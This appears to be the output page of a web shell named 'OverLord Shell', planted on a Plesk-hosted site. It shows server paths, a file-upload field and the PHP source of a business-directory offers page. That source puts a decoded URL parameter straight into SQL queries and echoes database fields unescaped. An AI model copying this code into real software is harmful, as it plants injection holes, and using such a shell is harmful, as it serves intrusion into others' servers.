OverLord Shell

Path : G:/PleskVhosts/jaincensus.com/macciaweb.ultraliant.com/businessforum/
File Upload :
Current File : G:/PleskVhosts/jaincensus.com/macciaweb.ultraliant.com/businessforum/company-offer.php

<?php 
session_start();
require_once("db/conn.php");
include_once("header.inc.php");
if(empty($_GET['id']))header("location:404.php");

$company_id=base64_decode($_GET['id']);


$listrow=getData("busdir_mst_all_company ","my_company_id",$company_id, "*"," AND active='y' and deleted='n'");
$editsocial=getData('busdir_mst_social','my_company_id',$company_id,"*",null);

if(count($listrow)==0)header("location:404.php");


?>

<section id="content" style="padding-top:20px;">
	<div class="container">
    	<div class="row">
        	<div class="col-md-12">
				<ol class="breadcrumb">
					<li><a href="index.php" style="color:white;">Home</a></li>
					<li class="active"><?php echo $listrow['company_name']?></li>
				</ol>
            </div>
        </div>
    </div>
    
  <?php include("company.inc.php");?>
	<div class="container">


      
    	<div class="row">
        	<div class="col-md-12 mbl">
            	<h3 class="page-header">Offer</h3>
            </div>
        </div>
        <div id="main">
		<div class="col-md-8 well" style=" width: 73%; background-color:#FFF;">
        <div class="row">
        	<div class="col-md-12">
            	<ul class="list-inline">
                	<li><span class="btn filter active" data-filter="all">All</span></li>
                	<?php
					 $sql1="SELECT  * FROM busdir_product WHERE my_company_id=".$listrow['my_company_id']." and active='y' and offer_flg='1' ";
					
					$getdata3=$connection->query($sql1);
					$cnt=$getdata3->num_rows;
				
					while($info1=$getdata3->fetch_assoc()){
					$catid=$info1['catid'];	
						$sql="SELECT * FROM busdir_mst_category WHERE catid=$catid" ;
					$getdata=$connection->query($sql);
					 while(	$catrow2=$getdata->fetch_assoc()){
						 ?>
                    <li><span class="btn filter active" data-filter=".cat<?php echo $catrow2['catid'];?>"><?php echo $catrow2['categoryname'];?></span></li>
                    <?php }
					 }?>
                     
                </ul>
            </div>
            
        </div>
		
			<?php if($cnt==0){?>
			
						<div class="col-xs-6">
				<div class="offer offer-radius offer-primary">
					
					<div class="offer-content">
						<h3 class="lead">
							<p><strong>No Offer Available........</strong></p>
						</h3>						
						
					</div>
				</div>
			</div>
			
			<?php }?>

		 
	<div class="container col-md-12">
    	<div class="row" id="Container">
			<?php
			
			$sql="select * from busdir_product where my_company_id in($company_id) and active='y' and  offer_flg='1' ";
			//echo $sql;
			$getdata=$connection->query($sql);
       while($listrow2=$getdata->fetch_assoc()){
		// echo   $listrow2['product_id'];
            ?>
            <?php
			 $sql1="select * from busdir_product_photo where product_id='".$listrow2['product_id']."' "; 
			// echo $sql1;
			$getdata1=$connection->query($sql1);
			$listrow3=$getdata1->fetch_assoc();
			
			?>
            <div class="col-md-3 col-sm-4 mix cat<?php echo $listrow2['catid']?>" style="width: 41%;">
            
                <div class="subcategory_box shadow_box text-center">
                	<a href="product.php?id=<?php echo base64_encode($listrow3['product_id'])?>"><img class="img-responsive center-block mbm" src="uploads/products/<?php echo $listrow3['photo_path']?>" alt="" style="height:120px;
    width:303px;"></a>
    
                    <h5 class="text-uppercase"><a href="product.php?id=<?php echo base64_encode($listrow2['product_id'])?>" title="<?php echo $listrow2['product_name']?>"><?php echo $listrow2['product_name'];?></a></h5>
                </div>
            </div>
            <?php
            }
			
            ?>
        </div>
		
		</div></div>
		
		
			</div>
		<div id="sidebar">
      
        <?php include("contsidebar.php");?>
       
		</div>
   </div>
</section>

<script src="js/jquery.mixitup.min.js"></script>

<script>
$('#Container').mixItUp();
//$('.logobox').css('height',($('.logobox').width()));
</script>
</script>
	<!--<script type='text/javascript' src="js/jquery.min.js"></script>-->
    <script type="text/javascript">
        $(function() {
            var offset = $("#sidebar").offset();
            var topPadding = 15;
            $(window).scroll(function() {
                if ($(window).scrollTop() > offset.top) {
                    $("#sidebar").stop().animate({
                        marginTop: $(window).scrollTop() - offset.top + topPadding
                    });
                } else {
                    $("#sidebar").stop().animate({
                        marginTop: 0
                    });
                };
            });
        });
    </script>

<?php include_once("footer.inc.php");connClose();?>

xRyukZ - Copyright 2k19